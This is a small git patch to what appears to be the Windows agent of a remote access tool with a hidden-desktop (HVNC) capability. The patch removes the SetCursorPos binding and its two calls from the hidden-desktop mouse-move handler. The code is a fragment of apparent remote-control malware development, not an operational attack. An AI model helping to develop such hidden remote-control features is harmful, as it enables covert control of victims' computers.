From cb34998e0491bd0e5a38669d6de2c80e248ccb22 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Fri, 13 Mar 2026 15:09:02 -0500 Subject: [PATCH] not needed --- Overlord-Client/cmd/agent/capture/hvnc_windows.go | 3 --- 1 file changed, 3 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index da27a11..567bc48 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -31,7 +31,6 @@ var ( procGetTopWindow = user32.NewProc("GetTopWindow") procCreateProcessW = kernel32.NewProc("CreateProcessW") procSendInputHVNC = user32.NewProc("SendInput") - procSetCursorPosHVNC = user32.NewProc("SetCursorPos") procGetCursorPosHVNC = user32.NewProc("GetCursorPos") procWindowFromPoint = user32.NewProc("WindowFromPoint") procScreenToClient = user32.NewProc("ScreenToClient") @@ -795,7 +794,6 @@ func startHVNCProcessOnThread(filePath string) error { func hvncMouseMoveOnThread(display int, x, y int32) error { bounds, _ := hvncResolveCaptureBounds(display) if bounds.Dx() <= 0 || bounds.Dy() <= 0 { - procSetCursorPosHVNC.Call(uintptr(x), uintptr(y)) hvncInputMu.Lock() hvncLastCursor = point{x: x, y: y} hvncHasCursor = true @@ -818,7 +816,6 @@ func hvncMouseMoveOnThread(display int, x, y int32) error { absY = bounds.Max.Y - 1 } - procSetCursorPosHVNC.Call(uintptr(absX), uintptr(absY)) hvncInputMu.Lock() hvncLastCursor = point{x: int32(absX), y: int32(absY)} hvncHasCursor = true